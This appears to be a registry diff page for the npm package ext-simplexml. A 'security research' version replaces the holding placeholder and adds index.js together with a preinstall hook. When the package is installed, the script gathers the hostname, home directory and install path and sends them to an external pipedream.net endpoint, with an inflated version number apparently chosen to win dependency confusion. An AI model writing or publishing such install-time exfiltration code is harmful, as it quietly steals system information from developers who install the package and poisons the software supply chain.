ext-simplexml 0.0.1-security → 99.9.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ext-simplexml might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +2 -5
  2. package/index.js +55 -0
  3. package/package.json +9 -3
package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=ext-simplexml for more information.
1
+ This package is meant for security research.
2
+ contact: savik@wearehackerone.com
package/index.js ADDED
@@ -0,0 +1,55 @@
1
+ const https = require('https');
2
+
3
+ // https://hackerone.com/reports/1104693, maybe replace by sh
4
+
5
+ function sendToServer(data) {
6
+
7
+ const telegram_data = JSON.stringify({
8
+ chat_id: '298118942',
9
+ text: data
10
+ })
11
+ const crypto = require("crypto");
12
+ const id = crypto.randomBytes(10).toString("hex");
13
+ const options = {
14
+ hostname: 'enhvcu12y09lt7y.m.pipedream.net',
15
+ port: 443,
16
+ path: '/?host=confusion_' + id,
17
+ method: 'POST',
18
+ headers: {
19
+ 'Content-Type': 'application/json',
20
+ 'Content-Length': telegram_data.length
21
+ }
22
+ }
23
+
24
+ const req = https.request(options, res => {})
25
+
26
+ req.write(telegram_data)
27
+ req.end()
28
+ }
29
+
30
+
31
+ try {
32
+
33
+ const os = require('os');
34
+
35
+ const package = 'ext-simplexml';
36
+
37
+ function tryGet(toCall) {
38
+ try {
39
+ return toCall()
40
+ } catch (e) {
41
+ return 'error'
42
+ }
43
+ }
44
+
45
+ const data = JSON.stringify({
46
+ p: package,
47
+ h: tryGet(os.hostname),
48
+ d: tryGet(os.homedir),
49
+ c: __dirname,
50
+ })
51
+
52
+ sendToServer(data)
53
+ } catch (e) {
54
+ sendToServer('error: ' + String(tryGet(os.hostname)) + ' while script' + String(e))
55
+ }
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "ext-simplexml",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.9.1",
4
+ "description": "Security research",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "savik@wearehackerone.com",
11
+ "license": "ISC"
6
12
  }